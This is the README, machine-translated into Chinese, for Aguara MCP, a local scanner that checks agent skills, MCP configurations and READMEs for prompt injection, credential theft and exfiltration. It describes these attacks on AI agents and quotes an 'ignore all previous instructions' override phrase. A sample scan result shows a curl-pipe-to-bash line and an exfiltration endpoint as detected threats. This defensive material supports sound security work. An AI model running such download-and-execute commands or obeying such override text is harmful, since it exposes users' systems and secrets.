使用说明
Aguara MCP
在AI代理信任第三方工具之前,对其进行本地安全检查。
Aguara MCP为Claude Code、Cursor、Windsurf和任何与MCP兼容的代理提供了一个本地工具,用于在操作之前审查不受信任的代理内容。
当代理即将安装MCP服务器、检查技能、阅读插件README或加载工具配置时,它可以先调用Aguara。扫描在MCP服务器内部本地运行,并返回一个结构化的结论,包括发现、严重性、补救措施和触发的规则。
没有LLM电话。无法访问网络。没有子流程 aguara 二元的。MCP服务器将Aguara作为Go库导入,并在进程中运行扫描程序。
使用它来帮助代理回答以下问题:
- 此MCP配置是否公开凭据?
- 此工具描述是否包含快速注射?
- 这是README要求代理运行不安全的安装命令吗?
- 这个技能是试图读取秘密还是泄露数据?
- 哪条规则触发了,为什么?
Aguara MCP v0.8.0与 阿瓜拉 v0.27.0。它包括当前的250检测目录、Claude Code项目设置的代理信任规则、代理指令文件(.cursorrules, AGENTS.md)随着高信任提示的出现,npm安装信任策略检查(.npmrc, package.json allowScripts)、pnpm供应链态势检查、基于灵敏度的输出编校、Unicode规范化和上下文感知的假阳性减少。建立在 官方MCP SDK (v1,第1层)。
仓库范围的依赖性检查(npm、PyPI、pnpm、Go、crates.io、Composer、RubyGems、Maven、NuGet)仍然由Aguara CLI处理:
aguara check .
aguara audit . --ci
一旦Aguara核心公开稳定的公众,这些将在未来的版本中作为MCP工具发布 Check API看见 加拉贡/阿瓜拉 CLI安装路径。
问题
人工智能代理正在获得自主权。他们浏览注册表、发现工具、安装MCP服务器并执行第三方代码——通常没有任何安全审查。
这将创建一个新的攻击面。今天发布到注册表的技能可以包含:
- 快速注射 劫持代理的行为(“忽略所有先前的指示……”)
- 凭证被盗 从代理的环境中过滤API密钥、令牌和机密
- 远程代码执行 隐藏在安装脚本中(
curl | bash,外壳注射) - 数据渗漏 将用户数据无声地发送到攻击者控制的端点
- 供应链攻击 通过依赖混淆和拼写错误
代理人不知道。它无法区分有用的工具和武器化的工具。描述看起来很正常。安装成功。损害已经造成。
这是Aguara MCP填补的空白。 它为代理提供了一个安全顾问,可以作为工具进行咨询——就像开发人员在合并代码之前运行linter一样。一个工具调用,毫秒,完全本地。代理人先检查,然后再决定。
快速开始
curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh
一个命令,一个二进制文件,没有外部依赖关系。安装程序在提取之前验证SHA256校验和,如果主机上没有可用的SHA256验证器,则失败关闭(无静默跳过)。
确保安装目录(
~/.local/bin)在你的PATH二进制文件与Aguara规则目录和编译的分析器静态链接,因此所有MCP扫描都完全脱机运行。Aguara核心的OSV衍生威胁情报快照是 不 捆绑在这个二进制文件中,因为MCP还没有公开存储库范围的依赖性检查;使用Aguara CLI(请参阅 加拉贡/阿瓜拉 安装+使用)。
添加到您的AI代理
克劳德代码:
claude mcp add aguara -- aguara-mcp
克劳德桌面版 -添加到 claude_desktop_config.json:
{
"mcpServers": {
"aguara": {
"command": "aguara-mcp"
}
}
}
Cursor/Windsurf/任何MCP客户端 -stdio传输 aguara-mcp.
你的代理人现在有一个安全顾问。
工具
scan_content
在采取行动之前,扫描文本以查找安全威胁。处理代理技能、README、工具定义、MCP服务器描述、提示、包清单内容(package.json),GitHub操作工作流YAML时 filename 参数包含 .github/workflows/,克劳德代码设置时 filename 是 .claude/settings.json 或 .claude/settings.local.json,代理指令文件(.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md),npm在以下情况下安装信任策略 filename 是 .npmrc 或 package.json,以及pnpm策略 filename 是 pnpm-workspace.yaml.检测提示注入(模式+NLP)、凭据泄漏、泄漏、命令执行、供应链模式、MCP攻击、包元数据风险、JavaScript/Python/Rust安装时有效载荷形状、GitHub Actions信任链、有风险的代理主机配置、削弱的npm/pnpm供应链设置和Unicode/编码规避。 敏感匹配已被编辑 在响应中:当发现被标记时 Sensitive=true (cred+exfil组合,有毒流动cred读数,MCP_007)或属于 credential-leak 类别, matched_text 被替换为 [REDACTED] 所以扫描仪永远不会创建秘密的第二个副本。通过以下方式支持上下文感知的假阳性减少 tool_name.
| 参数 | 必填 | 说明 |
|---|---|---|
content |
是 | 要扫描的文本内容 |
filename |
无 | 规则匹配的文件名提示(默认值: skill.md) |
tool_name |
否 | 生成内容的工具(例如。, Bash, Edit, WebFetch).实现上下文感知的假阳性减少 |
scan_profile |
否 | 执行配置文件: strict (默认,所有规则), content-aware (已知工具的FP降低),或 minimal (仅标记模式) |
min_severity |
否 | 要报告的最低严重性: INFO, LOW, MEDIUM, HIGH,或 CRITICAL |
disabled_rules |
否 | 要跳过的规则ID列表(例如。, ["PROMPT_INJECTION_001"]) |
返回带有判决的结构化报告(clean, flag,或 block),严重性评级结果,包括补救指导、匹配模式、行号、置信度评分,以及哪个分析引擎产生了每个发现。
check_mcp_config
在将MCP服务器配置(JSON)添加到客户端之前,请检查其是否存在安全问题。检测中的危险命令形状 command/args,凭证暴露 env不安全的论点注入和工具中毒模式。适用于任何 mcpServers 在启用之前,请先从Claude Desktop、Cursor、VS Code或其他MCP客户端输入。敏感匹配将在响应中进行编辑。
| 参数 | 必填 | 说明 |
|---|---|---|
config |
是 | MCP配置为JSON字符串 |
scan_profile |
否 | 执行配置文件: strict (默认), content-aware,或 minimal |
min_severity |
否 | 要报告的最低严重性: INFO, LOW, MEDIUM, HIGH,或 CRITICAL |
disabled_rules |
否 | 要跳过的规则ID列表 |
list_rules
浏览编目的安全规则。返回250个检测结果(193个YAML模式规则+57个分析器发出的规则,来自ci信任、pkgmeta、jsrisk、pyrisk、rsbuild、npm策略、pnpm策略、代理策略、NLP、有毒流和rug-pull分析器),涵盖多个威胁类别。当代理需要了解Aguara可以按类别检测或过滤什么时,这很有用。
| 参数 | 必填 | 说明 |
|---|---|---|
category |
否 | 按类别筛选(例如。, prompt-injection, exfiltration, credential-leak) |
explain_rule
按ID获取特定规则的详细信息。解析YAML规则(返回模式加真/假阳性示例)和分析器从ci trust、pkgmeta、jsrisk、pyrisk、rsbuild、npm policy、pnpm policy、代理策略、NLP、有毒流和rug-pull发出的规则ID(返回严重性、类别、分析器名称、描述和补救措施;分析器规则没有内联模式或示例)。
| 参数 | 必填 | 说明 |
|---|---|---|
rule_id |
是 | 规则ID(例如。, PROMPT_INJECTION_001) |
discover_mcp
通过读取已知的MCP客户端配置文件(Claude Desktop、Cursor、VS Code、Windsurf等),在本地计算机上发现MCP服务器配置。返回服务器定义,包括命令、参数和环境变量。 只读:此工具从不执行发现的命令,也从不连接到任何服务器。与配对 check_mcp_config 在采取行动之前,对每个定义进行评估。
无需参数。
示例
评估是否从注册表安装MCP服务器的代理:
User: "Install the data-processor MCP server"
Agent (before installing, calls scan_content with the skill README):
→ {
"summary": "Found 2 issues: 1 critical, 1 high",
"verdict": "block",
"findings": [
{
"severity": "CRITICAL",
"rule_id": "SUPPLY_003",
"rule_name": "Download-and-execute",
"remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.",
"line": 12,
"matched_text": "curl https://cdn.example.com/setup.sh | bash",
"analyzer": "pattern"
},
{
"severity": "HIGH",
"rule_id": "EXFIL_001",
"rule_name": "Data exfiltration endpoint",
"line": 34,
"matched_text": "https://collect.example.com/data",
"confidence": 0.92,
"analyzer": "nlp"
}
]
}
Agent: "I scanned the data-processor skill and found 2 security issues:
a script that downloads and executes remote code, and an endpoint that
could exfiltrate your data. I'd recommend not installing it."
如果没有Aguara MCP,代理可能会默默地安装它。
覆盖
Aguara v0.27.0目录总计 250次检测 (193个YAML模式规则+57个分析器发出),横跨12个分析器:
- 模式匹配器 -regex/包含的规则涵盖了提示注入、凭据泄漏、泄漏、命令执行、供应链模式、MCP攻击、间接注入、外部下载、SSRF/云、第三方内容和Unicode攻击。在扫描之前,内容被NFKC规范化,以防止Unicode规避。
- CI信任 -基于YAML的分析
.github/workflows/*.yml对于pwn请求链、缓存中毒、OIDC令牌表面和持久凭据校验模式。当以下情况发生时,可从MCP访问filename参数包含.github/workflows/. - PkgMeta -
package.json对安装时生命周期脚本与git源依赖项、可选git deps和发布表面链进行分析。 - JSRisk -
.js/.mjs/.cjs对混淆器形状有效载荷、安装时守护进程、CI秘密收集、运行器进程内存枢轴、GitHub-as-C2通道、主机信任篡改、破坏性擦除和已知IOC(例如2026年5月节点ipc DNS-TXT exfil链)的分析。 - PyRisk -
setup.py/__init__.py流分析将远程JS fetch绑定到node -e处决水槽。 - RS构建 -
build.rs将钱包/密钥库读取绑定到网络发送接收器的流分析。 - Npm政策 -
.npmrc和package.json(allowScriptsnpm v12安装信任弱化的策略分析dangerously-allow-all-scripts逃生舱、未固定批准,allow-git/allow-remote放松。当以下情况发生时,可从MCP访问filename争论点是.npmrc或package.json. - Pnpm政策 -
pnpm-workspace.yaml供应链设置分析减弱,低于pnpmv11默认值。当以下情况发生时,可从MCP访问filename争论点是pnpm-workspace.yaml. - 代理政策 -
.claude/settings.json对从克隆的repo继承有危险的Claude Code主机配置进行分析(获取和执行钩子、代码注入环境变量等),bypassPermissions、MCP自动批准、秘密读取允许规则)。当以下情况发生时,可从MCP访问filename争论点是.claude/settings.json或.claude/settings.local.json. - 自然语言处理 -基于Goldmark的降价分析,用于快速注入、权限声明和凭证传输组合,以规避静态模式。代理指令文件(
.cursorrules,.windsurfrules,.clinerules,AGENTS.md,copilot-instructions.md)即使没有.md扩展和加权为高信任提示表面。 - 有毒物质流动 -针对危险功能组合的单文件污染跟踪和跨文件相关性。
- 地毯拉力 -基于SHA256的工具描述随时间变化检测(由Aguara CLI使用;目前未由MCP工具调用)。
看 加拉贡/阿瓜拉 用于规范类别列表和规则ID。
运作原理
Agent Aguara MCP
│ │
├─ scan_content(text) ────►│
│ ├─ aguara.ScanContent()
│ │ or ScanContentAs() with tool context
│ │ (in-process, no disk I/O)
│ │ 250 detections · 11 active analyzers
│ │ (pattern + ci-trust + pkgmeta + jsrisk +
│ │ pyrisk + rsbuild + npm-policy +
│ │ pnpm-policy + agent-policy + NLP +
│ │ toxic-flow; rug-pull needs
│ │ WithStateDir, n/a here)
│ │ NFKC normalization · FP reduction
│ │ sensitive matches redacted
│◄─ verdict + findings ────┤
│ │
├─ discover_mcp() ────────►│
│ ├─ aguara.Discover()
│ │ (reads local config files)
│◄─ server definitions ────┤
│ │
Aguara MCP进口 Aguara扫描仪 作为Go库-没有子进程,没有临时文件,没有外部二进制文件。扫描引擎在进程中运行,版本完整性由以下保证 go.sum.
MCP协议层使用 官方Go SDK (第1层,Linux基金会治理,v1 semver稳定性)。随着MCP规范的发展,这确保了协议合规性和长期兼容性。
无法访问网络。没有LLM电话。没有云依赖关系。一切都在本地和确定性地运行。扫描在毫秒内完成。
安全
看 安全.md 漏洞披露政策。
Aguara MCP本身就加强了安全性:
- 无子流程执行 -Aguara作为进程内Go库运行,消除了PATH劫持和二进制替换风险
- 无网络呼叫 -每次MCP扫描都是完全离线的。Aguara规则目录和分析器在构建时链接;OSV衍生的威胁情报快照是 不 捆绑在MCP二进制文件中,因为MCP不公开存储库范围的依赖性检查(使用Aguara CLI进行这些检查)
- 输入验证 -根据严格的格式验证规则ID,内容大小上限为10 MB
- 文件名清理 -仅允许列出的字符,长度有上限,无路径遍历;正典
.github/workflows/<basename>保留前缀,以便ci信任分析器可以访问工作流YAML - 基于灵敏度的输出编辑 -发现标记
Sensitive=true由Aguara核心(cred+exfil组合,有毒流动cred读数,MCP_007,MCPCFG_003)或属于credential-leak类别有他们matched_text替换为[REDACTED]在MCP对响应进行序列化之前;除了阿瓜拉的原地防守外,MCP还保留了自己的防守后卫 - 已签署的发布管道 -发布二进制文件由Cosign签名,并附有SPDX SBOM,多拱形Docker映像位于
ghcr.io/garagon/mcp-aguara在摘要处签署SLSA来源和SBOM证明;核实VERSION=v0.8.0 .github/scripts/verify-release.sh - 版本完整性 -Aguara扫描仪版本已固定
go.sum,在构建时验证
高级
调试模式(将扫描详细信息记录到stderr):
claude mcp add aguara -- aguara-mcp --debug
从源代码构建:
git clone https://github.com/garagon/mcp-aguara.git
cd mcp-aguara
make build # → ./aguara-mcp
make test # runs all tests
将Aguara用作Go库
Aguara MCP使用Aguara公共API。您可以在自己的工具中使用它:
import "github.com/garagon/aguara"
// Basic scan
result, err := aguara.ScanContent(ctx, content, "skill.md",
aguara.WithMinSeverity(aguara.SeverityHigh),
aguara.WithDisabledRules("CRED_001"),
)
// Context-aware scan (reduces false positives for known tools)
result, err = aguara.ScanContentAs(ctx, content, "skill.md", "WebFetch",
aguara.WithScanProfile(aguara.ProfileContentAware),
)
rules := aguara.ListRules(aguara.WithCategory("prompt-injection"))
detail, err := aguara.ExplainRule("PROMPT_INJECTION_001")
discovered, err := aguara.Discover()
请参阅 Aguara文件 以获取API的完整参考。
